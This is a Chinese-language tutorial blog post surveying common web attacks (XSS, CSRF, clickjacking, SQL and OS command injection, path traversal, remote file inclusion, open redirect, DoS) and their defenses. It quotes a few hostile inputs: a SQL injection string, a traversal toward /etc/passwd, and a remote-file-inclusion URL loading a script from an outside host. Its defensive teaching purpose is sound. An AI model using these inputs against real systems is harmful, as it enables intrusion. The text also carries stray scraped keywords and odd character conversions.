常見的Web攻擊及防護辦法 - 重學計算機網絡系列(5)

Web攻擊分類

簡單的HTTP協議自己並不存在安全性問題,所以協議自己幾乎不會成爲攻擊的對象。應用HTTP協議的服務器和客戶端,以及運行在服務器上的Web應用等資源纔是攻擊目標。php

web應用的攻擊模式有如下兩種前端

  • 主動攻擊(主要攻擊服務器上的資源)
    • SQL注入攻擊
    • OS命令注入攻擊
    • 其餘
  • 被動攻擊(主要攻擊用戶的資源和權限)
    • 跨站腳本攻擊
    • 跨站點請求僞造
    • 點擊劫持(與跨站請求僞造手法類似)
    • HTTP首部注入攻擊
    • 其餘

跨站腳本攻擊(XSS)

跨站腳本攻擊(XSS)是指經過存在安全漏洞的Web網站註冊用戶的瀏覽器內運行非法的HTML標籤或JavaScript進行的一種攻擊。動態建立的HTML部分有可能隱藏着安全漏洞。就這樣,攻擊者編寫腳本設下陷阱,用戶在本身的瀏覽器上運行時,一不當心就會受到被動攻擊。目的:利用網站漏洞從用戶那裏惡意盜取信息web

XSS攻擊,一般指黑客經過「HTML注入」篡改了網頁,插入了惡意的腳本,從而在用戶瀏覽網頁時,控制用戶瀏覽器的一種攻擊。在一開始,這種攻擊的演示案例是跨域的,因此叫作「跨站腳本」。可是發展到今天,因爲JavaScript的強大功能以及網站前端應用的複雜化,是否跨域已經再也不重要。可是因爲歷史緣由,XSS這個名字卻一直保留下來。shell

XSS分類

  • 反射型XSS(非持久型XSS)
  • DOM型XSS(非持久性XSS)
  • 存儲型XSS(持久性XSS攻擊)

反射型XSS

  • 攻擊構造出特殊的 URL ,其中包含惡意代碼。(這個惡意代碼諸如第三方的JS或document.cookie等)
  • 用戶被誘導打開帶有惡意代碼的 URL,服務器端將惡意代碼從 URL 中取出當作參數處理,而後返回給用戶帶有惡意代碼的數據。
  • 用戶瀏覽器接收到響應解析執行,混在其中的惡意代碼也被執行。
  • 惡意代碼竊取用戶敏感數據發送給攻擊者,或者冒充用戶的行爲,調用目標網站接口執行攻擊者指定的操做。

DOM型XSS

從效果上來講也是反射型XSS,單獨劃分出來,是由於DOM Based XSS的造成緣由比較特別,發現它的安全專家專門提出了這種類型的XSS。出於歷史緣由,也就把它單獨做爲一個分類了。數據庫

  • 攻擊者構造出特殊的 URL,其中包含惡意代碼。
  • 用戶被誘導打開帶有惡意代碼的 URL。
  • 用戶瀏覽器接收到響應後解析執行,前端 JavaScript 取出 URL 中的惡意代碼並執行。
  • 惡意代碼竊取用戶數據併發送到攻擊者的網站,或者冒充用戶的行爲,調用目標網站接口執行攻擊者指定的操做。

存儲型XSS

存儲型 XSS 跟 反射型 XSS 的區別是:存儲型 XSS 的惡意代碼存在服務器上,反射型 XSS 的惡意代碼存在 URL 裏。它是最危險的一種跨站腳本。比反射性 XSS 和 DOM 型 XSS 都更有隱蔽性,由於它不須要用戶手動觸發。任何容許用戶存儲數據的 Web 程序均可能存在存儲型 XSS 漏洞。若某個頁面遭受存儲型 XSS 攻擊,全部訪問該頁面的用戶都會被 XSS 攻擊。segmentfault

  • 攻擊者把惡意代碼提交到目標網站的服務器中。
  • 用戶打開目標網站,網站服務器端把帶有惡意代碼的數據取出,當作正常數據返回給用戶。
  • 用戶瀏覽器接收到響應解析執行,混在其中的惡意代碼也被執行。
  • 惡意代碼竊取用戶敏感數據發送給攻擊者,或者冒充用戶的行爲,調用目標網站接口執行攻擊者指定的操做。

防護方法

  • 瀏覽器自帶防護(X-XSS-Protection)
    HTTP X-XSS-Protection 響應頭是 Internet Explorer,Chrome 和 Safari 的一個功能,當檢測到跨站腳本攻擊(XSS)時,瀏覽器將中止加載頁面。其原理是檢查 URL 和 DOM 中元素的相關性,但這並不能徹底防止反射型 XSS,並且也並非全部瀏覽器都支持 X-XSS-Protection。
X-XSS-Protection: 0     
禁止XSS過濾。     

X-XSS-Protection: 1       
啓用XSS過濾(一般瀏覽器是默認的)。 若是檢測到跨站腳本攻擊,瀏覽器將清除頁面(刪除不安全的部分)。  

X-XSS-Protection: 1; mode=block  
啓用XSS過濾。 若是檢測到攻擊,瀏覽器將不會清除頁面,而是阻止頁面加載。  

X-XSS-Protection: 1; report=<reporting-uri>    
啓用XSS過濾。 若是檢測到跨站腳本攻擊,瀏覽器將清除頁面並使用CSP report-uri指令的功能發送違規報告。  
複製代碼
  • 轉義
    XSS攻擊主要是經過構造特殊字符來注入腳本。因此在客戶端與服務端都進行輸入檢測,而後對用戶輸入的數據進行轉義。
function escapeHTML(str) {
    if (!str) return '';
    str = str.replace(/&/g, "&amp;");
    str = str.replace(/</g, "&lt;");
    str = str.replace(/>/g, "&gt;");
    str = str.replace(/"/g, "&quot;"); str = str.replace(/'/g, "&#39;");
    return str;
};
複製代碼
  • 過濾
    在富文本中由於須要保留 HTML ,因此咱們不能使用轉義的方法防護 XSS 攻擊,這裏使用過濾的方式防護 XSS 攻擊,也就是經過只使用白名單容許的 HTML 標記及其屬性,來防護攻擊。後端

  • 內容安全策略(csp)
    實質是白名單策略,開發者明確告訴客戶端,哪些外部資源能夠加載和執行,大大加強了網頁的安全性。跨域

跨站請求僞造(CSRF)

叫作「攻擊者僞造請求」,更好理解。瀏覽器

  • 用戶登陸一些官方網站。
  • 攻擊者僞造一個連接或事件,誘導用戶去點擊。
  • 用戶觸發事件後(點擊或者觸發其餘什麼事件),執行操做。用戶執行了表面的操做,實際上攻擊者利用用戶觸發這個事件,僞造用戶在官方網站作一些事情。

例子

  • 張三登陸了購物網站。
  • 以後張三不當心點擊了攻擊者的惡意連接。
  • 在點擊連接以後,張三的購物車被清空。此時,張三還並不知情。

分析攻擊者爲何能成功

  • 張三若是第一次登陸購物網站,網站要求用戶輸入用戶名和命名,驗證正確才能進入。
  • 此時購物網站在張三登陸成功以後,會給張三Cookie(裏面有Session ID),下次張三登陸的時候能夠沒必要輸入用戶名密碼,靠着Session ID 就能夠直接進入。
  • 若張三點擊了攻擊者的事件以後,其實就是僞造用戶去進入購物網站而後執行一些操做。(利用張三的權限去作事情)
  • 此時購物網站的服務器會認爲是張三本人在作的一些操做,由於有Session ID。

CSRF特色

  • 攻擊通常發起在第三方網站,而不是被攻擊的網站。
  • 攻擊是利用受害者在被攻擊網站的登陸憑證,冒充受害者提交操做,僅僅是「冒用」,而不是直接竊取數據。
  • 攻擊者預測出被攻擊的網站接口的全部參數,成功僞造請求。

防護方法

  • SameSite 屬性
    Cookie 的 SameSite 屬性用來限制第三方 Cookie,從而減小安全風險,能夠用來防止 CSRF 攻擊和用戶追蹤。安全

  • 同源檢測
    在 HTTP 協議中,每個異步請求都會攜帶兩個 Header ,用於標記來源域名:

    • Origin Header
    • Referer Header

這兩個 Header 在瀏覽器發起請求時,大多數狀況會自動帶上,而且不能由前端自定義內容。 服務器能夠經過解析這兩個 Header 中的域名,肯定請求的來源域。

經過校驗請求的該字段,咱們能知道請求是不是從本站發出的。咱們能夠經過拒絕非本站發出的請求,來避免了 CSRF 攻擊。

點擊劫持

點擊劫持是一種視覺上的欺騙手段。攻擊者使用一個透明的、不可見的iframe,覆蓋在一個網頁上,而後誘使用戶在該網頁上進行操做,此時用戶將在不知情的狀況下點擊透明的iframe頁面。經過調整iframe頁面的位置,能夠誘使用戶剛好點擊在iframe頁面的一些功能性按鈕上。

原理很簡單:

  • 經過z-index屬性讓其位於最上層。
  • 經過opacity屬性讓其透明度爲0。

點擊劫持攻擊與CSRF攻擊(詳見「跨站點請求僞造」一章)有殊途同歸之妙,都是在用戶不知情的狀況下誘使用戶完成一些動做。可是在CSRF攻擊的過程當中,若是出現用戶交互的頁面,則攻擊可能會沒法順利完成。與之相反的是,點擊劫持沒有這個顧慮,它利用的就是與用戶產生交互的頁面。

Flash點擊劫持

案例:

  • 攻擊者製做了一個Flash遊戲,並誘使用戶來玩這個遊戲。這個遊戲就是讓用戶去點擊「CLICK」按鈕,每次點擊後這個按鈕的位置都會發生變化。
  • 在其上隱藏了一個看不見的iframe。
  • 攻擊經過誘導用戶鼠標點擊的位置,可以完成一些較爲複雜的流程。
  • 最終經過這一步步的操做,打開了用戶的攝像頭。

其餘的點擊劫持

  • 圖片覆蓋攻擊
  • 拖拽劫持
  • 觸屏劫持(發生在智能手機上的攻擊)

HTTP首部注入攻擊

HTTP首部注入攻擊(HTTP Header Injection)是指攻擊者經過在響應首部字段內插入換行,添加任意響應首部或主體的一種攻擊。屬於被動攻擊模式。

向首部主體內添加內容的攻擊稱爲HTTP響應截斷攻擊(HTTP Response Splitting Attack)。

以下所示,Web應用有時會把從外部接收到的數值,賦給響應首部字段LocationSet-Cookie

Loaction: http://www.example.com/a.cgi?q=12345  
Set-Cookie: UID=12345
複製代碼

危害

  • 設置任何Cookie信息
  • 重定向至任意URL
  • 顯示任意的主體(HTTP響應截斷攻擊)

SQL注入攻擊

注入攻擊的本質,是把用戶輸入的數據當作代碼執行。這裏有兩個關鍵條件,第一個是用戶可以控制輸入;第二個是本來程序要執行的代碼,拼接了用戶輸入的數據

所謂SQL注入,就是經過把SQL命令插入到Web表單提交或輸入域名或頁面請求的查詢字符串,最終達到欺騙服務器執行惡意的SQL命令。具體來講,它是利用現有應用程序,將(惡意)的SQL命令注入到後臺數據庫引擎執行的能力,它能夠經過在Web表單中輸入(惡意)SQL語句獲得一個存在安全漏洞的網站上的數據庫,而不是按照設計者意圖去執行SQL語句。

SQL注入攻擊指的是經過構建特殊的輸入做爲參數傳入Web應用程序,而這些輸入大都是SQL語法裏的一些組合,經過執行SQL語句進而執行攻擊者所要的操做,其主要緣由是程序沒有細緻地過濾用戶輸入的數據,導致非法數據侵入系統。

好比先前的不少影視網站泄露VIP會員密碼大多就是經過WEB表單遞交查詢字符暴出的,這類表單特別容易受到SQL注入式攻擊.

如何防護SQL注入攻擊

  • 使用預編譯語句,綁定變量。(最佳方式)

使用預編譯的SQL語句,SQL語句的語義不會發生改變。在SQL語句中,變量用表示,攻擊者沒法改變SQL的結構,在上面的例子中,即便攻擊者插入相似於tom' or'1'='1的字符串,也只會將此字符串當作username來查詢。

  • 使用安全的存儲過程對抗SQL注入。

使用存儲過程的效果和使用預編語句譯相似,其區別就是存儲過程須要先將SQL語句定義在數據庫中。但須要注意的是,存儲過程當中也可能會存在注入問題,所以應該儘可能避免在存儲過程內使用動態的SQL語句。若是沒法避免,則應該使用嚴格的輸入過濾或者是編碼函數來處理用戶的輸入數據。

  • 檢查數據類型

檢查輸入數據的數據類型,在很大程度上能夠對抗SQL注入。好比用戶在輸入郵箱時,必須嚴格按照郵箱的格式;輸入時間、日期時,必須嚴格按照時間、日期的格式,等等,都能避免用戶數據形成破壞。但數據類型檢查並不是萬能,若是需求就是須要用戶提交字符串,好比一段短文,則須要依賴其餘的方法防範SQL注入。

  • 使用安全函數
  • 使用最小權限原則,避免Web應用直接使用root、dbowner等高權限帳戶直接鏈接數據庫。
    若是有多個不一樣的應用在使用同一個數據庫,則也應該爲每一個應用分配不一樣的帳戶。Web應用使用的數據庫帳戶,不該該有建立自定義函數、操做本地文件的權限。

OS命令注入攻擊

OS命令注入攻擊(OS Command Injection)是指經過Web應用,執行非法的操做系統命令達到攻擊的目的。只要在能調用Shell函數的地方就有存在被攻擊的風險

OS命令注入攻擊能夠向Shell發送命令,讓Windows或Linux操做系統的命令行啓動程序。也就是說,經過OS注入攻擊可執行OS上安裝着的各類程序。

產生的緣由

  • 使用了內部調用Shell的函數(system、open等)
  • 將倍加傳入的參數傳遞給內部調用的shell的函數
  • 參數中shell的元字符沒有被轉義

防護對策

  • 選擇不調用OS命令的實現方法。不調用利用shell的功能,既能杜絕了OS命令注入漏洞混入的可能性,又消除了調用OS命令的而系統開銷,可以從多方面提升應用的性能。
  • 不將外界輸入的字符串傳遞給命令行參數。
  • 使用安全的函數對傳遞給OS命令參數進行轉義。

其餘一些Web攻擊

目錄遍歷攻擊

目錄遍歷(Directory Traversal)攻擊是指對本無心公開的文件目錄,經過非法截斷其目錄路徑後,達成訪問目的的一種攻擊。這種攻擊有時也稱爲路徑遍歷(PathTraversal)攻擊。

經過Web應用對文件處理操做時,在由外部指定文件名的處理存在疏漏的狀況下,用戶可以使用.../等相對路徑定位到/etc/passed等絕對路徑上,所以服務器上任意的文件或文件目錄皆有可能被訪問到。這樣一來,就有可能非法瀏覽、篡改或刪除Web服務器上的文件。

當然存在輸出值轉義的問題,但更應該關閉指定對任意文件名的訪問權限。

遠程文件包含漏洞

遠程文件包含漏洞(Remote File Inclusion)是指當部分腳本內容須要從其餘文件讀入時,攻擊者利用指定外部服務器的URL充當依賴文件,讓腳本讀取以後,就可運行任意腳本的一種攻擊。

這主要是PHP存在的安全漏洞,對PHP的include或require來講,這是一種可經過設定,指定外部服務器的URL做爲文件名的功能。可是,該功能太危險,PHP5.2.0以後默認設定此功能無效。

當然存在輸出值轉義的問題,但更應控制對任意文件名的指定。

源代碼:
http://example.com/foo.php?mod=news.php

通過攻擊後:
http://example.com/foo.php?mod=http://hackr.jp/cmd.php&cmd=1s
複製代碼

攻擊者經過把要引入的文件替換成本身的文件,就能攻擊到服務器了。

不正確的錯誤消息處理

不正確的錯誤消息處理(Error Handling Vulnerability)的安全漏洞是指,Web應用的錯誤信息內包含對攻擊者有用的信息。與Web應用有關的主要錯誤信息以下所示。

  • Web應用拋出的錯誤消息
  • 數據庫等系統拋出的錯誤消息

Web應用沒必要在用戶的瀏覽畫面上展示詳細的錯誤消息。對攻擊者來講,詳細的錯誤消息有可能給他們下一次攻擊以提示。

開放重定向

開放重定向(Open Redirect)是一種對指定的任意URL做重定向跳轉的功能。而與此功能相關聯的安全漏洞是指,假如指定的重定向URL到某個具備惡意的Web網站,那麼用戶就會被誘導至那個Web網站。

原URL:
http://example.com/?redirect=http://www.tricorder.jp

被攻擊後:
http://example.com/?redirect=http://hackr.jp
複製代碼

用戶看到URL後原覺得訪問example.com,不料實際上被誘導至hackr.jp這個指定的重定向目標。

可信度高的Web網站若是開放重定向功能,則頗有可能被攻擊者選中並用來做爲釣魚攻擊的跳板。

密碼破解

密碼破解攻擊(Password Cracking)即算出密碼,突破認證。攻擊不只限於Web應用,還包括其餘的系統(如FTP或SSH等)。有如下幾種破解方法:

  • 窮舉法
    對全部密鑰集合構成的密鑰空間(Keyspace)進行窮舉。即,用全部可行的候選密碼對目標的密碼系統試錯,用以突破驗證的一種攻擊。
  • 字典攻擊
    利用事先收集好的候選密碼(通過各類組合方式後存入字典),枚舉字典中的密碼,嘗試經過認證的一種攻擊手法。

字典攻擊中有一種利用其餘Web網站已泄露的ID及密碼列表進行的攻擊。不少用戶習慣隨意地在多個Web網站使用同一套ID及密碼,所以攻擊會有至關高的成功概率

DoS攻擊

DoS攻擊(Denial of Service attack)是一種讓運行中的服務呈中止狀態的攻擊。有時也叫作服務中止攻擊或拒絕服務攻擊。DoS攻擊的對象不只限於Web網站,還包括網絡設備及服務器等。

有兩種DOS攻擊方式:

  • 集中利用訪問請求形成資源過載,資源用盡的同時,實際上服務也就呈中止狀態。(海量請求致使服務器癱瘓,服務器很難分辨何爲正常請求,何爲攻擊請求,所以很難防止DoS攻擊。)
  • 經過攻擊安全漏洞使服務中止。

多臺計算機發起的DoS攻擊稱爲DDoS攻擊(DistributedDenial of Service attack)。DDoS攻擊一般利用那些感染病毒的計算機做爲攻擊者的攻擊跳板。

後門程序

後門程序(Backdoor)是指開發設置的隱藏入口,可不按正常步驟使用受限功能。利用後門程序就可以使用本來受限制的功能。

一般的後門程序分爲如下3種類型。

  • 開發階段做爲Debug調用的後門程序
  • 開發者爲了自身利益植入的後門程序
  • 攻擊者經過某種方法設置的後門程序

可經過監視進程和通訊的狀態發現被植入的後門程序。但設定在Web應用中的後門程序,因爲和正常使用時區別不大,一般很難發現。

參考文獻

結語

個人計算機網絡學習之旅暫時就結束了。由於大四還在實習,白天還須要完成公司的任務,只能在晚上或者週末去公司自主學習,前先後後大約有花一兩個月的時間。收穫不少,這種感受與當初上計算機網絡課的感受徹底不同,當時上了也就上了,知識都是零零散散的,都沒有去串聯起來,致使記得不深入。現在花了心思去整理總結後,有種融會貫通的感受,在Chrome調試,項目中先後端對接,性能優化方面的認知更爲鞏固和深入。

相關文章
相關標籤/搜索